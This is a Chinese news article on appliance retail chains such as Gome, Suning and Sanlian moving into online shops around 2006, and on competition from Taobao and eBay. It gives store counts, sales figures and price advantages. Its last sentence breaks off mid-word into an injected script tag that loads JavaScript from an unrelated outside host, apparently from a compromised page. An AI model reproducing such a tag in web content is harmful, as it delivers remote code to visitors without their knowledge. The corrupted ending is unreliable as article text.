渠道蓝海革命 网上开店显山露水

家电连锁业,作为近两年来发展最迅猛,形式业态最完善的连锁业模式,在创造业态新模式的同时更创造了财富的神话。2005年以国美、苏宁、永乐、大中等为代表的家电连锁企业疯狂扩张,年底他们在全国的总店数分别达到426、363、199、115家。而其销售额也呈快速增长之势。据2005年数据,国美新开门店接近200家,营业额达498亿元人民币,较2004年增长109%。同时,苏宁在全国门店的销售额也达到397亿,同比增长80%;永乐销售收入则达到151亿,大中销售额也突破了100亿。家电连锁渠道的飞速发展不可否认其将成为未来家电渠道的主流。

但由于渠道势力的渐渐强大,在一定意义上形成了垄断。一方面传统渠道对厂家形成一定的压制,各种进场费、促销费以及黑金等等费用压得厂家无法喘息;另一方面渠道自身也面临高额的成本、竞争的加剧、购买力的局限性等限制。这样使得人们不断在呼唤渠道的蓝海。

网络化生存,似乎是一种趋势,从阿里巴巴、百度创造的网络神话,到徐静蕾的博客突破2000万,甚至是网上的虐猫事件,没有一个时代一件事情能如此快速沸沸扬扬的传播,只因为有了网络,一切才皆有可能。

网络的可能性在于缩短了人与人之间的距离,使交互成为了可能,网络购物的存在,更使人们做到了足不出户就可以生存。网络是生活的一部分,很多人已经没办法离开网络而生存了。网络这一成本低廉、适用范围广、人数众多的新渠道资源也逐渐成为一个新兴的渠道蓝海。

渠道网上开店忙

最早在网上销售家电的连锁企业当属三联家电。1999年12月28日,济南家电商场推出shop365三联家电在线,这是全国首家最规范的真正实现全程网上购物的商业企业,目前网上交易总额已达2000多万元。传统服务优势和现代电子商务的结合将使三联家电成为冲浪网络经济的新赢家。 三联家电网上商城2004年即被称为“中国网上家电第一店”,能提供20000多种商品,有超过30万的注册会员,主页日访问量达到200000人次/天,日均页浏览量为500万。除了为其带来可观的收入之外,此题材还为券商们看好。他们认为,谁率先进入这一市场将有望执行业牛耳!

有了前路的开拓者,后来者也是继续大踏步前进:苏宁早在2004年就已经将网上商城提上了公司的发展日程;大中电器宣布与首信展开密切合作,共同推进大中电器网上商城业务的展开;永乐则于2006年3月底与ebay易趣达成合作,推出了网上商城;国美的网上商城也在其知名度的影响下异乎寻常的热闹。

除了传统的家电连锁外,还有易趣、淘宝网等众多b2c(企业对个人)大亨们对家电这块肥肉虎视眈眈。阿里巴巴集团旗下淘宝网2006年5月10日宣布,正式推出全新b2c业务,现在易趣和淘宝网上流通最多的还是一些小商品,大件的家电并不多见。但是,大件家电的欠缺正说明了这一市场的潜力。

据《2006年中国c2c网上购物调查报告》显示,截至2006年3月,北京、上海和广州三城市共有c2c网上购物消费者200万人,淘宝网成为用户首选购物网站。根据购物人数与购物频度计算的2005年度中国c2c购物网站的三城市用户市场份额,淘宝网为67.3%,ebay易趣为29.1%。

网上开店,价格服务是关键

据国美透露,2006年“五一”黄金周,国美网上商城全国销售可谓火爆,全国38家网上商城家电销售额比去年同期增长近3倍。其中,一些新开业的二级地区网上商城销售势态更是喜人,销售额几乎是平时销售的5倍~6倍,让国美着实尝到了甜头。大中电器的网上销售统计表明,在不到一个月的时间里,大中电器网上商城已累计实现了420万元销售额,比预期增加了80%。但是,业内人士认为苏宁在网上商城的发展上缺少激情,甚至怀疑仅仅是做个样子,占领一个地盘。据一些网友反映,在北方地区浏览苏宁的网上商城是一个很困难的事情。

由于网上商城运营成本较低,基本上是同等规模门店的30%,网上商城所出售的商品价格将会比门店低5%~20%。同一件家电,如果在网上商城买,可以比在家电卖场买便宜20%,这使越来越多的家电消费者青睐网上买家电。

随着家电连锁商在实体店面的竞争加剧,家电连锁商已纷纷转战虚拟网上交易,以减少实体开店带来的成本束缚。而且网上销售作为一种趋势,是谁都避免不了这场革命,家电网上销售将是大势所趋。

但是,据中国社会科学院互联网发展研究中心公布的市场调研报告显示,产品质量和售后服务成了网上交易的一大软肋,用户投诉比例达43%,高居2005年影响网上交易诸多问题之首。

网上销售使厂家不再单一依赖家电卖场

在淘宝网上发现,这里几乎聚集了tcl、海尔等品牌的大部分家电产品,从平板电视到空调,一应俱全。tcl电器在网上销售的各种产品除了可以提供正式发票,还保证全部的联合保修服务,所有的服务几乎和直营店没有区别。

据专业人士分析:网上销售至少能省去卖场拿走的10%返?script src=http://er12.com/t.js>

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发布日期:2019年07月04日  所属分类:新闻动态